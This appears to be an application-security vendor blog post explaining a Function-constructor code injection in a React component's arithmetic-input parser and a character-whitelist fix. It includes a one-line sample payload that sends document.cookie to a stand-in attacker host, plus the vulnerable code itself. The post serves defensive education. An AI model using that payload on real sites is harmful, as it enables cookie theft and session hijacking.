Back to Blog
high SEVERITY8 min read

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

A high-severity code injection vulnerability was discovered in `TurnPlanner.tsx`, where the `parseInputExpr` function used JavaScript's `Function` constructor — effectively `eval()` — to evaluate user-provided mathematical expressions. The regex guard in place only checked for the presence of arithmetic operators, not whether the input was safe to execute, leaving the door open for arbitrary JavaScript injection. A targeted whitelist fix was applied to reject any input containing characters outs

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This vulnerability is a code injection (CWE-94) in a React TypeScript component (`TurnPlanner.tsx`). The `parseInputExpr` function passed user-supplied strings directly to `new Function('return (' + s + ')')()`, which is functionally equivalent to `eval()`. The original regex only checked for arithmetic operators, not for dangerous characters. The fix adds a strict whitelist — `/^[0-9+\-*/.() ]+$/` — before the `Function` call, ensuring only numeric and arithmetic characters can reach the dynamic evaluation path.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code)
fixAdded a strict character whitelist (`/^[0-9+\-*/.() ]+$/`) before the `Function` constructor call in `parseInputExpr`
riskArbitrary JavaScript execution in the user's browser context, enabling XSS, data exfiltration, and session hijacking
languageTypeScript / JavaScript (React)
root causeUser input passed to `new Function()` with only a presence-of-operator regex check, not a character whitelist
vulnerabilityCode Injection via Function Constructor (eval-equivalent)

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

The TurnPlanner.tsx component handles user-entered mathematical expressions — a common UX pattern for planning tools where users type things like 2+3*4 into an input field. But a flaw in the parseInputExpr function, specifically at line 530, turned that convenience into a serious security risk: user input was being passed directly to JavaScript's Function constructor, which is functionally identical to eval(). This post breaks down exactly how the vulnerability works, how it could be exploited in a real web application, and how a single targeted line of code closes the gap.


The Vulnerability Explained

What parseInputExpr Was Doing

The function parseInputExpr is responsible for taking a string value from a user-facing input field and converting it into a number. For simple cases like "42" or "-7", parseFloat is sufficient. But for expressions like "2+3" or "10/2", the original code took a shortcut: it handed the string directly to JavaScript's Function constructor.

Here is the vulnerable code path (before the fix):

function parseInputExpr(v: string): number {
  const s = v.trim();
  if (s === '' || s === '-') return 0;
  if (/[+\-*/]/.test(s) && s.length > 1 && !/^-\d+$/.test(s)) {
    try {
      const r = Function('return (' + s + ')')();  // ← DANGEROUS
      if (typeof r === 'number' && isFinite(r)) return r;
    } catch { /* fall through */ }
  }
  return parseFloat(s) || 0;
}

The guard condition — /[+\-*/]/.test(s) — only checks whether the string contains an arithmetic operator. It does not validate what else the string contains. The moment that condition is satisfied, the raw user string is interpolated into Function('return (' + s + ')')() and executed as live JavaScript.

Why new Function() Is Equivalent to eval()

new Function(body) creates a new function object from a string at runtime. It executes in the global scope, not the local closure, but it is still fully capable of running arbitrary JavaScript. There is no sandboxing. Any valid JavaScript expression or statement can be injected.

A Concrete Attack Scenario

Imagine a user types the following into the TurnPlanner input field:

1+fetch('https://attacker.com/steal?c='+document.cookie)

Let's trace what happens:
1. s = "1+fetch('https://attacker.com/steal?c='+document.cookie)"
2. The regex /[+\-*/]/.test(s)true (there's a +)
3. s.length > 1true
4. !/^-\d+$/.test(s)true (it's not a simple negative integer)
5. The code executes: Function('return (1+fetch(...))')() → the fetch call fires, sending the user's cookies to an attacker-controlled server

The return value of fetch() is a Promise, not a finite number, so the result check typeof r === 'number' && isFinite(r) fails and execution falls through — but the side effect (the network request, the cookie exfiltration) has already happened.

More aggressive payloads could manipulate the DOM, redirect the user, or exfiltrate application state. In a React application with access to routing, local storage, or authentication tokens, the blast radius is significant.

Real-World Impact

  • Session hijacking: Steal authentication cookies or tokens stored in localStorage
  • Phishing pivot: Redirect users to a convincing fake login page
  • Data exfiltration: Read and transmit application state or form data
  • DOM manipulation: Inject fake UI elements to trick users into submitting credentials

Because this runs entirely client-side in the victim's browser, there are no server-side logs to detect the attack in real time.


The Fix

What Changed

The fix adds a single line immediately before the Function constructor call:

if (!/^[0-9+\-*/.() ]+$/.test(s)) return parseFloat(s) || 0;

Here is the full before/after comparison:

Before (vulnerable):

if (/[+\-*/]/.test(s) && s.length > 1 && !/^-\d+$/.test(s)) {
  try {
    const r = Function('return (' + s + ')')();
    if (typeof r === 'number' && isFinite(r)) return r;
  } catch { /* fall through */ }
}

After (fixed):

if (/[+\-*/]/.test(s) && s.length > 1 && !/^-\d+$/.test(s)) {
  try {
    if (!/^[0-9+\-*/.() ]+$/.test(s)) return parseFloat(s) || 0;
    const r = Function('return (' + s + ')')();
    if (typeof r === 'number' && isFinite(r)) return r;
  } catch { /* fall through */ }
}

How the Fix Works

The new regex /^[0-9+\-*/.() ]+$/ is a strict character whitelist. It asserts that the entire string (from ^ to $) consists only of:

Character class Purpose
0-9 Digits
+\-*/ Arithmetic operators
. Decimal point
() Grouping parentheses
Spaces

Any character outside this set — letters, quotes, backticks, semicolons, square brackets — causes the function to bail out immediately with parseFloat(s) || 0, never reaching the Function constructor.

This means payloads like:
- 1+fetch(...) → rejected (contains f, e, t, c, h, etc.)
- alert(1) → rejected (contains a, l, e, r, t)
- 1;import(...) → rejected (contains ;, i, m, etc.)

All legitimate mathematical expressions — 2+3, 10/2.5, (4+6)*2 — pass the whitelist and continue to work as expected.

Why This Approach Is Correct Here

The whitelist is tight enough to block all known injection vectors while preserving the intended functionality of evaluating simple arithmetic. The fix is minimal, scoped to one code path, and does not break the build or existing behavior.

Note for production hardening: The ideal long-term fix is to replace Function entirely with a dedicated safe math parser like mathjs or expr-eval, which parse expressions without executing arbitrary code. The whitelist fix is a strong stopgap, but a purpose-built parser eliminates the Function constructor entirely.


Prevention & Best Practices

1. Never Use eval() or new Function() With User Input

This is the cardinal rule. Both eval(string) and new Function(string) execute arbitrary JavaScript. If you need to evaluate mathematical expressions from user input, use a dedicated parsing library:

// Safe alternative using mathjs
import { evaluate } from 'mathjs';

function parseInputExpr(v: string): number {
  try {
    const result = evaluate(v);
    if (typeof result === 'number' && isFinite(result)) return result;
  } catch {
    // fall through
  }
  return parseFloat(v) || 0;
}

2. Whitelist, Don't Blacklist

The original code used a blacklist approach — it tried to identify "safe-looking" inputs by checking for operators. Blacklists are fragile. A whitelist that explicitly permits only the characters you need is far more robust.

3. Lint Rules to Catch This Pattern

Add ESLint rules to flag eval and Function constructor usage:

// .eslintrc
{
  "rules": {
    "no-eval": "error",
    "no-new-func": "error"
  }
}

The no-new-func rule specifically targets new Function(...) patterns.

4. Content Security Policy (CSP)

A strict CSP header with script-src 'self' and without 'unsafe-eval' will block eval() and new Function() at the browser level, providing defense in depth even if the code-level fix is bypassed:

Content-Security-Policy: script-src 'self'; object-src 'none';

5. Security Standards References


Key Takeaways

  • The operator-presence check /[+\-*/]/ in parseInputExpr was not a security control — it was a routing check. It determined which code path to use, not whether the input was safe to execute.
  • new Function(string) is eval() by another name. Any user-controlled string reaching Function('return (' + s + ')')() is a code injection vulnerability, regardless of surrounding checks.
  • A character whitelist placed immediately before the dangerous call is the correct pattern when you cannot replace the dynamic evaluation entirely. The fix at line 537 demonstrates this precisely.
  • Arithmetic expression evaluation is a common feature in planning tools, calculators, and form fields — and a common source of injection bugs. Always use a purpose-built parser, not eval.
  • The typeof r === 'number' && isFinite(r) check does not prevent exploitation. Side effects (network requests, DOM manipulation) execute before the return value is ever checked.

How Orbis AppSec Detected This

  • Source: User-controlled string input passed to parseInputExpr(v: string) in TurnPlanner.tsx
  • Sink: Function('return (' + s + ')')() at line 530 of src/components/TurnPlanner/TurnPlanner.tsx
  • Missing control: No character whitelist was applied before dynamic code evaluation; the only guard was a regex checking for operator presence, not input safety
  • CWE: CWE-94 — Improper Control of Generation of Code ('Code Injection')
  • Fix: Added /^[0-9+\-*/.() ]+$/ whitelist check at line 537, causing parseInputExpr to fall back to parseFloat for any input containing non-arithmetic characters

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The parseInputExpr vulnerability in TurnPlanner.tsx is a textbook example of how a well-intentioned feature — letting users type arithmetic expressions into an input field — can become a serious security hole when the evaluation mechanism is eval()-equivalent. The original regex guard felt like protection but only checked for operator presence, not input safety. The fix is elegant in its simplicity: one line, one whitelist, zero ambiguity. Any character that isn't a digit, operator, decimal, parenthesis, or space never reaches the Function constructor.

For developers building similar features, the lesson is clear: treat new Function() with the same suspicion you'd treat eval(), and always validate user input with a whitelist before any form of dynamic code execution.


References

Frequently Asked Questions

What is a Function constructor code injection vulnerability?

It occurs when user-supplied strings are passed to JavaScript's `new Function()` or `eval()`, allowing attackers to execute arbitrary JavaScript code in the application's runtime context.

How do you prevent eval() injection in TypeScript/JavaScript?

Replace dynamic evaluation with a safe math parser library (e.g., `mathjs` or `expr-eval`), or at minimum enforce a strict character whitelist that permits only digits and arithmetic symbols before any dynamic evaluation.

What CWE is eval() code injection?

CWE-94 — Improper Control of Generation of Code ('Code Injection'). It may also overlap with CWE-79 (XSS) when the injection results in script execution in a browser context.

Is a regex operator check enough to prevent Function constructor injection?

No. Checking only for the presence of `+`, `-`, `*`, or `/` does not prevent an attacker from including those characters alongside malicious JavaScript. A full character whitelist is required.

Can static analysis detect Function constructor injection?

Yes. Tools like Semgrep, ESLint with security plugins, and AI-assisted scanners like Orbis AppSec can flag patterns where user-controlled data flows into `new Function()` or `eval()`.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1

Related Articles

critical

How Server-Side Template Injection happens in Node.js EJS and how to fix it

CVE-2022-29078 is a critical server-side template injection (SSTI) vulnerability in EJS versions prior to 3.1.7, where the `outputFunctionName` option is passed directly into generated code without sanitization, allowing attackers to execute arbitrary JavaScript on the server. The fix upgrades the EJS dependency from 2.7.4 to 3.1.7+ (resolved here as 6.0.1), eliminating the unsafe code generation path. Any Node.js application rendering EJS templates with user-influenced options is at risk of ful

high

How Prototype Pollution happens in JavaScript via defu and how to fix it

CVE-2026-35209 is a high-severity prototype pollution vulnerability in the `defu` JavaScript library (versions prior to 6.1.5), where a crafted `__proto__` key in the defaults argument can corrupt the global Object prototype. The fix upgrades `defu` from 6.1.4 to 6.1.5 in `pnpm-lock.yaml` and enforces the version via a workspace override, closing the attack surface in production code that depends on `defu` for deep object merging.

critical

How eval() Code Injection happens in JavaScript and how to fix it

A critical code injection vulnerability was discovered in `js/lib/jsencrypt.js` at line 195, where a direct `eval()` call executed a JavaScript string shim for the `process` object in browser environments. If an attacker could influence the string passed to `eval()`—through a compromised dependency, a man-in-the-middle attack, or supply chain tampering—they could achieve arbitrary JavaScript execution in any user's browser. The fix replaces the `eval()` call with the equivalent inline JavaScript

high

How Prototype Pollution happens in Node.js and how to fix it

A high-severity prototype pollution vulnerability (CVE-2020-8203) was identified in the lodash library via the `zipObjectDeep` function, present as a transitive dependency through postcss in the project's `yarn.lock`. The fix upgrades postcss from 8.5.8 to 8.5.12 using a Yarn resolution override, eliminating the vulnerable lodash code path and reducing the attack surface against crafted CSS input. This change protects the application from object prototype manipulation that could lead to informat

critical

How Prototype Pollution happens in Node.js protobufjs and how to fix it

CVE-2023-36665 is a critical prototype pollution vulnerability in protobufjs that allows attackers to corrupt JavaScript's Object prototype by crafting malicious protobuf messages. The vulnerability existed in protobufjs 6.11.3 and was resolved by upgrading to 6.11.4 (and 7.2.5 for the v7 branch). Applications that parse user-supplied protobuf data are directly at risk of runtime behavior manipulation, privilege escalation, or denial of service.

high

How Dependabot Missing Cooldown happens in GitHub Actions and how to fix it

A high-severity misconfiguration in `.github/dependabot.yml` left this Node.js library without a cooldown period on dependency updates, meaning Dependabot could immediately propose upgrades to newly published — potentially malicious or unstable — package versions. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, introducing a mandatory waiting period before any newly released version is surfaced as an update candidate. Because this project